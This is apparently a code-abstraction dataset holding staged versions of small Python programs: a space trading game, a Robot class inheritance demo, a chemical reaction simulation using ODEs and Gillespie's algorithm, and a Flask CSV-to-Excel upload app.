3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\n<function token>\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\n<function token>\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,961 |
6b24c438ca7bb4c37ae356c18c562831767f0569
|
class Robot:
def __init__(self, name):
self.name = name
def say_hi(self):
print("Hi, I'm from class Robot")
print("Hi, Ich bin " + self.name)
def say_hi_to_everybody(self):
print("Hi to all objects :-)")
class PhysicianRobot(Robot):
def say_hi_again(self):
print("Hi, I'm from sub-class PhysicianRobot")
print("Hi, Ich bin " + self.name)
name_1 = "Marvin"
name_2 = "James"
x = Robot(name_1)
y = PhysicianRobot(name_2)
print(x, type(x))
x.say_hi()
x.say_hi_to_everybody()
print(y, type(y))
y.say_hi()
y.say_hi_again()
y.say_hi_to_everybody()
|
[
"class Robot:\n\n def __init__(self, name):\n self.name = name\n\n def say_hi(self):\n print(\"Hi, I'm from class Robot\")\n print(\"Hi, Ich bin \" + self.name)\n\n def say_hi_to_everybody(self):\n print(\"Hi to all objects :-)\")\n\n\nclass PhysicianRobot(Robot):\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print(\"Hi, Ich bin \" + self.name)\n\n\nname_1 = \"Marvin\"\nname_2 = \"James\"\n\nx = Robot(name_1)\ny = PhysicianRobot(name_2)\n\nprint(x, type(x))\nx.say_hi()\nx.say_hi_to_everybody()\n\nprint(y, type(y))\ny.say_hi()\ny.say_hi_again()\ny.say_hi_to_everybody()\n",
"class Robot:\n\n def __init__(self, name):\n self.name = name\n\n def say_hi(self):\n print(\"Hi, I'm from class Robot\")\n print('Hi, Ich bin ' + self.name)\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\nname_1 = 'Marvin'\nname_2 = 'James'\nx = Robot(name_1)\ny = PhysicianRobot(name_2)\nprint(x, type(x))\nx.say_hi()\nx.say_hi_to_everybody()\nprint(y, type(y))\ny.say_hi()\ny.say_hi_again()\ny.say_hi_to_everybody()\n",
"class Robot:\n\n def __init__(self, name):\n self.name = name\n\n def say_hi(self):\n print(\"Hi, I'm from class Robot\")\n print('Hi, Ich bin ' + self.name)\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\nprint(x, type(x))\nx.say_hi()\nx.say_hi_to_everybody()\nprint(y, type(y))\ny.say_hi()\ny.say_hi_again()\ny.say_hi_to_everybody()\n",
"class Robot:\n\n def __init__(self, name):\n self.name = name\n\n def say_hi(self):\n print(\"Hi, I'm from class Robot\")\n print('Hi, Ich bin ' + self.name)\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n",
"class Robot:\n\n def __init__(self, name):\n self.name = name\n <function token>\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n",
"class Robot:\n <function token>\n <function token>\n\n def say_hi_to_everybody(self):\n print('Hi to all objects :-)')\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n",
"class Robot:\n <function token>\n <function token>\n <function token>\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n",
"<class token>\n\n\nclass PhysicianRobot(Robot):\n\n def say_hi_again(self):\n print(\"Hi, I'm from sub-class PhysicianRobot\")\n print('Hi, Ich bin ' + self.name)\n\n\n<assignment token>\n<code token>\n",
"<class token>\n\n\nclass PhysicianRobot(Robot):\n <function token>\n\n\n<assignment token>\n<code token>\n",
"<class token>\n<class token>\n<assignment token>\n<code token>\n"
] | false |
9,962 |
87a1624707e4a113a35d975518e432277c851e41
|
#' % Computational Biology Lab 3
#' % Alois Klink
#' % 18 May 2017
#' # Converting Reaction Equations to a ODE
#' To convert many reaction equations to one ODE, one must first find the propensity
#' and the changes of each reaction.
#' The Reaction class takes a lambda function of the propensity and the change matrix
#' as inputs.
from simulateChemicals import *
#' Here are the reaction formulas:
#'
#'* $\emptyset \overset{1}{\to} X$
#'* $X \overset{2}{\to} Y$
#'* $2 X + Y \overset{0.02}{\to} 3 X$
#'* $X \overset{0.04}{\to} \emptyset$
reactions = [Reaction(lambda X: 1, [1,0]),
Reaction(lambda X: 2*X[0], [-1,1]),
Reaction(lambda X: 0.02* X[0]**2 *X[1], [1,-1]),
Reaction(lambda X: 0.04*X[0], [-1,0])]
#' # Displaying the ODE
#' The figure below shows how the system described by the above reactions
#' behaves when modelled with an ODE. Notice that as X is being created, it is
#' immediatly turned into Y. However, once Y passes a threshold point, and starts
#' combining with X, due to the X^2 factor, X dramatically jumps up, rapidly
#' converting all Y to X. Once Y runs out, X slowly begins to degrade to
#' an equilibrium position.
#+trajectories, caption='ODE Simulation Trajectories from 0 initialConditions'
system = ChemicalReactionsSystem(reactions, 2)
system.trajectories()
#' # Gillespie's Algorithm
#' The code below shows how the reaction changes when Gillespie's algorithm is
#' used to simulate the reactions. Gillespie's algorithm can be reduced by a
#' factor to increase the accuracy of the algorithm. This technically works by
#' increasing the number of molecules, and speeding up reactions. However, these
#' graphs have molecules split into pieces, which is not possible in the real world.
r = 1
reactions = Reaction.rescaleReactions(reactions, r)
system = ChemicalReactionsSystem(reactions, 2)
#' This shows how the cocentration changes over time. Notice that due the high
#' randomness of the properties, the threshold point is reached much faster. As
#' r increases, however, and the Gillespie's algorithm is reduced, the variance
#' gets smaller and smaller, so that the threshold point is reached at the same
#' time as the ODE.
print("r is " + str(r))
system.gillespieConcentrations(50000*r)
#' This shows how the cocentration X changes in relation to the concentrations Y.
#' Notice that due the high randomness of the properties, the path is a lot tighter,
#' and the stable point seems to be a lot lower.
system.gillespieTrajectories([[0, 0], [4, 23]],
10000*r)
#' # Reduction
#' The following graphs have r = 10
r = 10
reactions = Reaction.rescaleReactions(reactions, r)
system = ChemicalReactionsSystem(reactions, 2)
#+caption='r = 10', width="15cm"
system.gillespieConcentrations(10000*r)
#+caption='r = 10', width="15cm"
system.gillespieTrajectories([[0, 0], [4, 23]],
10000*r)
|
[
"#' % Computational Biology Lab 3\n#' % Alois Klink\n#' % 18 May 2017\n\n#' # Converting Reaction Equations to a ODE\n\n#' To convert many reaction equations to one ODE, one must first find the propensity\n#' and the changes of each reaction.\n\n#' The Reaction class takes a lambda function of the propensity and the change matrix\n#' as inputs.\n\nfrom simulateChemicals import *\n\n#' Here are the reaction formulas:\n#'\n#'* $\\emptyset \\overset{1}{\\to} X$\n#'* $X \\overset{2}{\\to} Y$\n#'* $2 X + Y \\overset{0.02}{\\to} 3 X$\n#'* $X \\overset{0.04}{\\to} \\emptyset$\n\nreactions = [Reaction(lambda X: 1, [1,0]),\n Reaction(lambda X: 2*X[0], [-1,1]),\n Reaction(lambda X: 0.02* X[0]**2 *X[1], [1,-1]),\n Reaction(lambda X: 0.04*X[0], [-1,0])]\n\n#' # Displaying the ODE\n\n#' The figure below shows how the system described by the above reactions\n#' behaves when modelled with an ODE. Notice that as X is being created, it is\n#' immediatly turned into Y. However, once Y passes a threshold point, and starts\n#' combining with X, due to the X^2 factor, X dramatically jumps up, rapidly\n#' converting all Y to X. Once Y runs out, X slowly begins to degrade to\n#' an equilibrium position.\n\n#+trajectories, caption='ODE Simulation Trajectories from 0 initialConditions'\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.trajectories()\n\n#' # Gillespie's Algorithm\n\n#' The code below shows how the reaction changes when Gillespie's algorithm is\n#' used to simulate the reactions. Gillespie's algorithm can be reduced by a \n#' factor to increase the accuracy of the algorithm. This technically works by\n#' increasing the number of molecules, and speeding up reactions. However, these\n#' graphs have molecules split into pieces, which is not possible in the real world.\n\nr = 1\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\n\t\n#' This shows how the cocentration changes over time. Notice that due the high\n#' randomness of the properties, the threshold point is reached much faster. As\n#' r increases, however, and the Gillespie's algorithm is reduced, the variance\n#' gets smaller and smaller, so that the threshold point is reached at the same\n#' time as the ODE.\n\nprint(\"r is \" + str(r))\nsystem.gillespieConcentrations(50000*r)\n\n#' This shows how the cocentration X changes in relation to the concentrations Y.\n#' Notice that due the high randomness of the properties, the path is a lot tighter,\n#' and the stable point seems to be a lot lower.\n\nsystem.gillespieTrajectories([[0, 0], [4, 23]],\n\t\t 10000*r)\n\t\t \n#' # Reduction\n\n#' The following graphs have r = 10\n\nr = 10\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\n\n#+caption='r = 10', width=\"15cm\"\nsystem.gillespieConcentrations(10000*r)\n\n#+caption='r = 10', width=\"15cm\"\nsystem.gillespieTrajectories([[0, 0], [4, 23]],\n\t\t 10000*r)\n",
"from simulateChemicals import *\nreactions = [Reaction(lambda X: 1, [1, 0]), Reaction(lambda X: 2 * X[0], [-\n 1, 1]), Reaction(lambda X: 0.02 * X[0] ** 2 * X[1], [1, -1]), Reaction(\n lambda X: 0.04 * X[0], [-1, 0])]\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.trajectories()\nr = 1\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\nprint('r is ' + str(r))\nsystem.gillespieConcentrations(50000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\nr = 10\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.gillespieConcentrations(10000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\n",
"<import token>\nreactions = [Reaction(lambda X: 1, [1, 0]), Reaction(lambda X: 2 * X[0], [-\n 1, 1]), Reaction(lambda X: 0.02 * X[0] ** 2 * X[1], [1, -1]), Reaction(\n lambda X: 0.04 * X[0], [-1, 0])]\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.trajectories()\nr = 1\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\nprint('r is ' + str(r))\nsystem.gillespieConcentrations(50000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\nr = 10\nreactions = Reaction.rescaleReactions(reactions, r)\nsystem = ChemicalReactionsSystem(reactions, 2)\nsystem.gillespieConcentrations(10000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\n",
"<import token>\n<assignment token>\nsystem.trajectories()\n<assignment token>\nprint('r is ' + str(r))\nsystem.gillespieConcentrations(50000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\n<assignment token>\nsystem.gillespieConcentrations(10000 * r)\nsystem.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)\n",
"<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,963 |
eb17de8828a600832253c4cfeeb91503b6876dd7
|
import os
from flask import Flask, request, redirect, url_for, render_template, send_from_directory
from werkzeug.utils import secure_filename
import chardet as chardet
import pandas as pd
UPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'
DOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'
ALLOWED_EXTENSIONS = {'csv', 'txt'}
app = Flask(__name__, static_url_path="/static")
DIR_PATH = os.path.dirname(os.path.realpath(__file__))
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER
# limit upload size upto 8mb
app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if 'file' not in request.files:
print('No file attached in request')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
print('No file selected')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), filename)
return redirect(url_for('uploaded_file', filename=filename))
return render_template('index.html')
def process_file(path, filename):
check_encoding(path, filename)
# with open(path, 'a') as f:
# f.write("\nAdded processed content")
def check_encoding(path, filename):
with open(path, 'rb') as rawdata:
result = chardet.detect(rawdata.read(10000))
df = pd.read_csv(path, encoding=result['encoding'])
GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit('.', 1)[0] + '.xlsx')
df.to_excel(GFG, index=False, encoding='utf-8')
#output_stream = open(app.config['DOWNLOAD_FOLDER'] + 'output.xlsx', 'wb')
#GFG.write(output_stream)
GFG.save()
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.rsplit('.', 1)[0] + '.xlsx', as_attachment=True)
if __name__ == '__main__':
port = int(os.environ.get("PORT", 5000))
app.run(host='0.0.0.0', port=port)
|
[
"import os\nfrom flask import Flask, request, redirect, url_for, render_template, send_from_directory\nfrom werkzeug.utils import secure_filename\nimport chardet as chardet\nimport pandas as pd\n\nUPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'\nDOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'\nALLOWED_EXTENSIONS = {'csv', 'txt'}\n\napp = Flask(__name__, static_url_path=\"/static\")\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER\n# limit upload size upto 8mb\napp.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n # with open(path, 'a') as f:\n # f.write(\"\\nAdded processed content\")\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit('.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n #output_stream = open(app.config['DOWNLOAD_FOLDER'] + 'output.xlsx', 'wb')\n #GFG.write(output_stream)\n GFG.save()\n\n \n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get(\"PORT\", 5000))\n app.run(host='0.0.0.0', port=port)",
"import os\nfrom flask import Flask, request, redirect, url_for, render_template, send_from_directory\nfrom werkzeug.utils import secure_filename\nimport chardet as chardet\nimport pandas as pd\nUPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'\nDOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'\nALLOWED_EXTENSIONS = {'csv', 'txt'}\napp = Flask(__name__, static_url_path='/static')\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename\n ), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n",
"<import token>\nUPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'\nDOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'\nALLOWED_EXTENSIONS = {'csv', 'txt'}\napp = Flask(__name__, static_url_path='/static')\nDIR_PATH = os.path.dirname(os.path.realpath(__file__))\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER\napp.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n 